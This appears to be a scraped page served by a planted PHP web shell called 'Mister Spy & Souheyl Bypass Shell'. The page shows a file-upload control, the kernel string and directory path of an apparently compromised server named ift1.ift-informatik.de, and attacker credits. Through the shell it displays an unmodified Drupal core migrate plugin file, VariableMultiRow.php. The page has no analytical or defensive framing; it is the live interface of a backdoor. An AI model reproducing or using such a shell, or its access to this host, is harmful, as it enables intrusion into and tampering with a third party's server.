Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/modules/migrate_drupal/src/Plugin/migrate/source/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/modules/migrate_drupal/src/Plugin/migrate/source/VariableMultiRow.php

<?php

namespace Drupal\migrate_drupal\Plugin\migrate\source;

use Drupal\migrate\Row;

// cspell:ignore multirow

/**
 * Drupal 6/7 multiple variables source from database.
 *
 * Unlike the variable source plugin, this one returns one row per
 * variable.
 *
 * Available configuration keys:
 * - variables: (required) The list of variables to retrieve from the source
 *   database. Each variable is retrieved in a separate row.
 *
 * Example:
 *
 * @code
 * plugin: variable_multirow
 * variables:
 *   - date_format_long
 *   - date_format_medium
 *   - date_format_short
 * @endcode
 *
 * In this example the specified variables are retrieved from the source
 * database one row per variable.
 *
 * For additional configuration keys, refer to the parent classes.
 *
 * @see \Drupal\migrate\Plugin\migrate\source\SqlBase
 * @see \Drupal\migrate\Plugin\migrate\source\SourcePluginBase
 *
 * @MigrateSource(
 *   id = "variable_multirow",
 *   source_module = "system",
 * )
 */
class VariableMultiRow extends DrupalSqlBase {

  /**
   * {@inheritdoc}
   */
  public function query() {
    return $this->select('variable', 'v')
      ->fields('v', ['name', 'value'])
      // Cast scalars to array so we can consistently use an IN condition.
      ->condition('name', (array) $this->configuration['variables'], 'IN');
  }

  /**
   * {@inheritdoc}
   */
  public function fields() {
    return [
      'name' => $this->t('Name'),
      'value' => $this->t('Value'),
    ];
  }

  /**
   * {@inheritdoc}
   */
  public function prepareRow(Row $row) {
    if ($value = $row->getSourceProperty('value')) {
      $row->setSourceProperty('value', unserialize($value));
    }
    return parent::prepareRow($row);
  }

  /**
   * {@inheritdoc}
   */
  public function getIds() {
    $ids['name']['type'] = 'string';
    return $ids;
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net